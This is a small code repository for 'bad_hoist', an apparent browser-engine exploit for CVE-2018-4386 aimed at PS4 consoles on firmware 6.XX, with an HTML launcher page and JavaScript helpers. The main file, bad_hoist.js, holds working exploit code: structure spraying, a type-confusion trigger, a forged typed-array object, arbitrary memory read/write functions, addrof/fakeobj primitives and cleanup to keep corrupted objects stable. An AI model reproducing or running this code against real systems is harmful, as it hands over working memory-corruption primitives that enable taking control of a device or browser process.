├── html
└── index.html
├── README.md
└── js
├── utils.js
├── int64.js
└── bad_hoist.js
/html/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
This is not an exploit (;
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | bad_hoist
2 | ============
3 |
4 | Exploit implementation of
5 | [CVE-2018-4386](https://bugs.chromium.org/p/project-zero/issues/detail?id=1665).
6 | Obtains addrof/fakeobj and arbitrary read/write primitives.
7 |
8 | Supports PS4 consoles on 6.XX. May also work on older firmware versions,
9 | but I am not sure. Bug was fixed in firmware 7.00.
10 |
--------------------------------------------------------------------------------
/js/utils.js:
--------------------------------------------------------------------------------
1 | function debug_log(msg) {
2 | // var xhttp = new XMLHttpRequest();
3 | // xhttp.open("POST", "/debug/log", false);
4 | // xhttp.setRequestHeader("Content-type", "text/html");
5 | // xhttp.send(msg);
6 | cosole.log(msg);
7 | }
8 |
9 | // The following functions are taken from https://github.com/saelo/jscpwn/:
10 | // hex, hexlify, unhexlify, hexdump
11 | // Copyright (c) 2016 Samuel Groß
12 |
13 | // Return the hexadecimal representation of the given byte.
14 | function hex(b) {
15 | return ('0' + b.toString(16)).substr(-2);
16 | }
17 |
18 | // Return the hexadecimal representation of the given byte array.
19 | function hexlify(bytes) {
20 | var res = [];
21 | for (var i = 0; i < bytes.length; i++)
22 | res.push(hex(bytes[i]));
23 |
24 | return res.join('');
25 | }
26 |
27 | // Return the binary data represented by the given hexdecimal string.
28 | function unhexlify(hexstr) {
29 | if (hexstr.length % 2 == 1)
30 | throw new TypeError("Invalid hex string");
31 |
32 | var bytes = new Uint8Array(hexstr.length / 2);
33 | for (var i = 0; i < hexstr.length; i += 2)
34 | bytes[i / 2] = parseInt(hexstr.substr(i, 2), 16);
35 |
36 | return bytes;
37 | }
38 |
39 | function hexdump(data) {
40 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
41 | data = Array.from(data);
42 |
43 | var lines = [];
44 | for (var i = 0; i < data.length; i += 16) {
45 | var chunk = data.slice(i, i + 16);
46 | var parts = chunk.map(hex);
47 | if (parts.length > 8)
48 | parts.splice(8, 0, ' ');
49 | lines.push(parts.join(' '));
50 | }
51 |
52 | return lines.join('\n');
53 | }
54 |
--------------------------------------------------------------------------------
/js/int64.js:
--------------------------------------------------------------------------------
1 | // Taken from https://github.com/saelo/jscpwn/blob/master/int64.js
2 | //
3 | // Copyright (c) 2016 Samuel Groß
4 |
5 | function Int64(low, high) {
6 | var bytes = new Uint8Array(8);
7 |
8 | if (arguments.length > 2 || arguments.length == 0)
9 | throw TypeError("Incorrect number of arguments to constructor");
10 | if (arguments.length == 2) {
11 | if (typeof low != 'number' || typeof high != 'number') {
12 | throw TypeError("Both arguments must be numbers");
13 | }
14 | if (low > 0xffffffff || high > 0xffffffff || low < 0 || high < 0) {
15 | throw RangeError("Both arguments must fit inside a uint32");
16 | }
17 | bytes.set(Struct.pack(Struct.int64, low, high));
18 | }
19 |
20 | switch (typeof low) {
21 | case 'number':
22 | low = '0x' + Math.floor(low).toString(16);
23 | case 'string':
24 | if (low.substr(0, 2) === "0x")
25 | low = low.substr(2);
26 | if (low.length % 2 == 1)
27 | low = '0' + low;
28 | var bigEndian = unhexlify(low, 8);
29 | var arr = [];
30 | for (var i = 0; i < bigEndian.length; i++) {
31 | arr[i] = bigEndian[i];
32 | }
33 | bytes.set(arr.reverse());
34 | break;
35 | case 'object':
36 | if (low instanceof Int64) {
37 | bytes.set(low.bytes());
38 | } else {
39 | if (low.length != 8)
40 | throw TypeError("Array must have excactly 8 elements.");
41 | bytes.set(low);
42 | }
43 | break;
44 | case 'undefined':
45 | break;
46 | }
47 |
48 | // Return a double whith the same underlying bit representation.
49 | this.asDouble = function () {
50 | // Check for NaN
51 | if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
52 | throw new RangeError("Can not be represented by a double");
53 |
54 | return Struct.unpack(Struct.float64, bytes);
55 | };
56 |
57 | this.asInteger = function () {
58 | if (bytes[7] != 0 || bytes[6] > 0x20) {
59 | debug_log("SOMETHING BAD HAS HAPPENED!!!");
60 | throw new RangeError(
61 | "Can not be represented as a regular number");
62 | }
63 | return Struct.unpack(Struct.int64, bytes);
64 | };
65 |
66 | // Return a javascript value with the same underlying bit representation.
67 | // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
68 | // due to double conversion constraints.
69 | this.asJSValue = function () {
70 | if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[
71 | 6] == 0xff))
72 | throw new RangeError(
73 | "Can not be represented by a JSValue");
74 |
75 | // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
76 | return Struct.unpack(Struct.float64, this.sub(0x1000000000000).bytes());
77 | };
78 |
79 | // Return the underlying bytes of this number as array.
80 | this.bytes = function () {
81 | var arr = [];
82 | for (var i = 0; i < bytes.length; i++) {
83 | arr.push(bytes[i])
84 | }
85 | return arr;
86 | };
87 |
88 | // Return the byte at the given index.
89 | this.byteAt = function (i) {
90 | return bytes[i];
91 | };
92 |
93 | // Return the value of this number as unsigned hex string.
94 | this.toString = function () {
95 | var arr = [];
96 | for (var i = 0; i < bytes.length; i++) {
97 | arr.push(bytes[i])
98 | }
99 | return '0x' + hexlify(arr.reverse());
100 | };
101 |
102 | this.low32 = function () {
103 | return new Uint32Array(bytes.buffer)[0] >>> 0;
104 | };
105 |
106 | this.hi32 = function () {
107 | return new Uint32Array(bytes.buffer)[1] >>> 0;
108 | };
109 |
110 | this.equals = function (other) {
111 | if (!(other instanceof Int64)) {
112 | other = new Int64(other);
113 | }
114 | for (var i = 0; i < 8; i++) {
115 | if (bytes[i] != other.byteAt(i))
116 | return false;
117 | }
118 | return true;
119 | };
120 | // Basic arithmetic.
121 | // These functions assign the result of the computation to their 'this' object.
122 |
123 | // Decorator for Int64 instance operations. Takes care
124 | // of converting arguments to Int64 instances if required.
125 | function operation(f, nargs) {
126 | return function () {
127 | if (arguments.length != nargs)
128 | throw Error("Not enough arguments for function " + f.name);
129 | var new_args = [];
130 | for (var i = 0; i < arguments.length; i++) {
131 | if (!(arguments[i] instanceof Int64)) {
132 | new_args[i] = new Int64(arguments[i]);
133 | } else {
134 | new_args[i] = arguments[i];
135 | }
136 | }
137 | return f.apply(this, new_args);
138 | };
139 | }
140 |
141 | this.neg = operation(function neg() {
142 | var ret = [];
143 | for (var i = 0; i < 8; i++)
144 | ret[i] = ~this.byteAt(i);
145 | return new Int64(ret).add(Int64.One);
146 | }, 0);
147 |
148 | this.add = operation(function add(a) {
149 | var ret = [];
150 | var carry = 0;
151 | for (var i = 0; i < 8; i++) {
152 | var cur = this.byteAt(i) + a.byteAt(i) + carry;
153 | carry = cur > 0xff | 0;
154 | ret[i] = cur;
155 | }
156 | return new Int64(ret);
157 | }, 1);
158 |
159 | this.assignAdd = operation(function assignAdd(a) {
160 | var carry = 0;
161 | for (var i = 0; i < 8; i++) {
162 | var cur = this.byteAt(i) + a.byteAt(i) + carry;
163 | carry = cur > 0xff | 0;
164 | bytes[i] = cur;
165 | }
166 | return this;
167 | }, 1);
168 |
169 |
170 | this.sub = operation(function sub(a) {
171 | var ret = [];
172 | var carry = 0;
173 | for (var i = 0; i < 8; i++) {
174 | var cur = this.byteAt(i) - a.byteAt(i) - carry;
175 | carry = cur < 0 | 0;
176 | ret[i] = cur;
177 | }
178 | return new Int64(ret);
179 | }, 1);
180 | }
181 |
182 | // Constructs a new Int64 instance with the same bit representation as the provided double.
183 | Int64.fromDouble = function (d) {
184 | var bytes = Struct.pack(Struct.float64, d);
185 | return new Int64(bytes);
186 | };
187 |
188 | // Some commonly used numbers.
189 | Int64.Zero = new Int64(0);
190 | Int64.One = new Int64(1);
191 | Int64.NegativeOne = new Int64(0xffffffff, 0xffffffff);
192 |
--------------------------------------------------------------------------------
/js/bad_hoist.js:
--------------------------------------------------------------------------------
1 | var STRUCTURE_SPRAY_SIZE = 0x1800;
2 |
3 | var g_confuse_obj = null;
4 | var g_arb_master = null;
5 | var g_arb_slave = new Uint8Array(0x2000);
6 | var g_leaker = {};
7 | var g_leaker_addr = null;
8 | var g_structure_spray = [];
9 |
10 | var dub = new Int64(0x41414141, 0x41414141).asDouble();
11 | var g_inline_obj = {
12 | a: dub,
13 | b: dub,
14 | };
15 |
16 | function spray_structs() {
17 | for (var i = 0; i < STRUCTURE_SPRAY_SIZE; i++) {
18 | var a = new Uint32Array(0x1)
19 | a["p" + i] = 0x1337;
20 | g_structure_spray.push(a); // keep the Structure objects alive.
21 | }
22 |
23 | }
24 |
25 | function trigger() {
26 |
27 | var o = {
28 | 'a': 1
29 | };
30 |
31 | var test = new ArrayBuffer(0x100000);
32 | g_confuse_obj = {};
33 |
34 | var cell = {
35 | js_cell_header: new Int64([
36 | 0x00, 0x8, 0x00, 0x00, // m_structureID, current guess
37 | 0x0, // m_indexingType
38 | 0x27, // m_type, Float64Array
39 | 0x18, // m_flags, OverridesGetOwnPropertySlot |
40 | // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
41 | 0x1 // m_cellState, NewWhite
42 | ]).asJSValue(),
43 | butterfly: false, // Some arbitrary value
44 | vector: g_inline_obj,
45 | len_and_flags: (new Int64('0x0001000100000020')).asJSValue()
46 | };
47 |
48 | g_confuse_obj[0 + "a"] = cell;
49 |
50 | g_confuse_obj[1 + "a"] = {};
51 | g_confuse_obj[1 + "b"] = {};
52 | g_confuse_obj[1 + "c"] = {};
53 | g_confuse_obj[1 + "d"] = {};
54 |
55 |
56 | for (var j = 0x5; j < 0x20; j++) {
57 | g_confuse_obj[j + "a"] = new Uint32Array(test);
58 | }
59 |
60 | for (var k in o) {
61 | {
62 | k = {
63 | a: g_confuse_obj,
64 | b: new ArrayBuffer(test.buffer),
65 | c: new ArrayBuffer(test.buffer),
66 | d: new ArrayBuffer(test.buffer),
67 | e: new ArrayBuffer(test.buffer),
68 | 1: new ArrayBuffer(test.buffer),
69 |
70 | };
71 |
72 | function k() {
73 | return k;
74 | }
75 |
76 | }
77 |
78 | o[k];
79 |
80 | if (g_confuse_obj["0a"] instanceof Uint32Array) {
81 | return;
82 | }
83 | }
84 | }
85 |
86 | function setup_arb_rw() {
87 | var jsCellHeader = new Int64([
88 | 0x00, 0x08, 0x00, 0x00, // m_structureID, current guess
89 | 0x0, // m_indexingType
90 | 0x27, // m_type, Float64Array
91 | 0x18, // m_flags, OverridesGetOwnPropertySlot |
92 | // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
93 | 0x1 // m_cellState, NewWhite
94 | ]);
95 | g_fake_container = {
96 | jsCellHeader: jsCellHeader.asJSValue(),
97 | butterfly: false, // Some arbitrary value
98 | vector: g_arb_slave,
99 | lengthAndFlags: (new Int64('0x0001000000000020')).asJSValue()
100 | };
101 |
102 | g_inline_obj.a = g_fake_container;
103 | g_confuse_obj["0a"][0x4] += 0x10;
104 | g_arb_master = g_inline_obj.a;
105 | g_arb_master[0x6] = 0xFFFFFFF0;
106 | }
107 |
108 | function read(addr, length) {
109 | if (!(addr instanceof Int64))
110 | addr = new Int64(addr);
111 |
112 | g_arb_master[4] = addr.low32();
113 | g_arb_master[5] = addr.hi32();
114 |
115 | var a = new Array(length);
116 |
117 | for (var i = 0; i < length; i++)
118 | a[i] = g_arb_slave[i];
119 | return a;
120 | }
121 |
122 | function read8(addr) {
123 | return read(addr, 1)[0];
124 | }
125 |
126 | function read16(addr) {
127 | return Struct.unpack(Struct.int16, read(addr, 2));
128 | }
129 |
130 | function read32(addr) {
131 | return Struct.unpack(Struct.int32, read(addr, 4));
132 | }
133 |
134 | function read64(addr) {
135 | return new Int64(read(addr, 8));
136 | }
137 |
138 | function readstr(addr) {
139 | if (!(addr instanceof Int64))
140 | addr = new Int64(addr);
141 | g_arb_master[4] = addr.low32();
142 | g_arb_master[5] = addr.hi32();
143 | var a = [];
144 | for (var i = 0;; i++) {
145 | if (g_arb_slave[i] == 0) {
146 | break;
147 | }
148 | a[i] = g_arb_slave[i];
149 | }
150 | return String.fromCharCode.apply(null, a);
151 | }
152 |
153 | function write(addr, data) {
154 | if (!(addr instanceof Int64))
155 | addr = new Int64(addr);
156 | g_arb_master[4] = addr.low32();
157 | g_arb_master[5] = addr.hi32();
158 | for (var i = 0; i < data.length; i++)
159 | g_arb_slave[i] = data[i];
160 | }
161 |
162 | function write8(addr, val) {
163 | write(addr, [val]);
164 | }
165 |
166 | function write16(addr, val) {
167 | write(addr, Struct.pack(Struct.int16, val));
168 | }
169 |
170 |
171 | function write32(addr, val) {
172 | write(addr, Struct.pack(Struct.int32, val));
173 | }
174 |
175 | function write64(addr, val) {
176 | if (!(val instanceof Int64))
177 | val = new Int64(val);
178 | write(addr, val.bytes());
179 | }
180 |
181 | function writestr(addr, str) {
182 | if (!(addr instanceof Int64))
183 | addr = new Int64(addr);
184 | g_arb_master[4] = addr.low32();
185 | g_arb_master[5] = addr.hi32();
186 | for (var i = 0; i < str.length; i++)
187 | g_arb_slave[i] = str.charCodeAt(i);
188 | g_arb_slave[str.length] = 0; // null character
189 | }
190 |
191 |
192 | function setup_obj_leaks() {
193 | g_leaker.leak = false;
194 | g_inline_obj.a = g_leaker;
195 | g_leaker_addr = new Int64(g_confuse_obj["0a"][4], g_confuse_obj["0a"][5]).add(0x10);
196 | debug_log("obj_leaker address @ " + g_leaker_addr);
197 | }
198 |
199 | function addrof(obj) {
200 | g_leaker.leak = obj;
201 | return read64(g_leaker_addr);
202 | }
203 |
204 | function fakeobj(addr) {
205 | write64(g_leaker_addr, addr);
206 | return g_leaker.leak;
207 | }
208 |
209 | function typed_array_buf_addr(typed_array) {
210 | return read64(addrof(typed_array).add(0x10));
211 | }
212 |
213 | function cleanup() {
214 | var u32array = new Uint32Array(8);
215 | header = read(addrof(u32array), 0x10);
216 | write(addrof(g_arb_master), header);
217 | write(addrof(g_confuse_obj['0a']), header);
218 |
219 | // Set length to 0x10 and flags to 0x1
220 | // Will behave as OversizeTypedArray which can survive gc easily
221 | write32(addrof(g_arb_master).add(0x18), 0x10);
222 | write32(addrof(g_arb_master).add(0x1C), 0x1); //
223 | write32(addrof(g_confuse_obj['0a']).add(0x18), 0x10);
224 | write32(addrof(g_confuse_obj['0a']).add(0x1C), 0x1);
225 | write32(addrof(g_arb_slave).add(0x1C), 0x1);
226 |
227 | var empty = {};
228 | header = read(addrof(empty), 0x8);
229 | write(addrof(g_fake_container), header);
230 | }
231 |
232 | function start_exploit() {
233 | debug_log("Spraying Structures...");
234 | spray_structs();
235 | debug_log("Structures sprayed!");
236 | debug_log("Triggering bug...");
237 | trigger();
238 | debug_log("Bug successfully triggered!");
239 | debug_log("Crafting fake array for arbitrary read and write...");
240 | setup_arb_rw();
241 | debug_log("Array crafted!");
242 | debug_log("Setting up arbitrary object leaks...");
243 | setup_obj_leaks();
244 | debug_log("Arbitrary object leaks achieved!");
245 | debug_log("Cleaning up corrupted structures...");
246 | cleanup();
247 | debug_log("Cleanup done!");
248 | debug_log("Starting post exploitation...");
249 | }
250 |
251 | start_exploit();
252 |
--------------------------------------------------------------------------------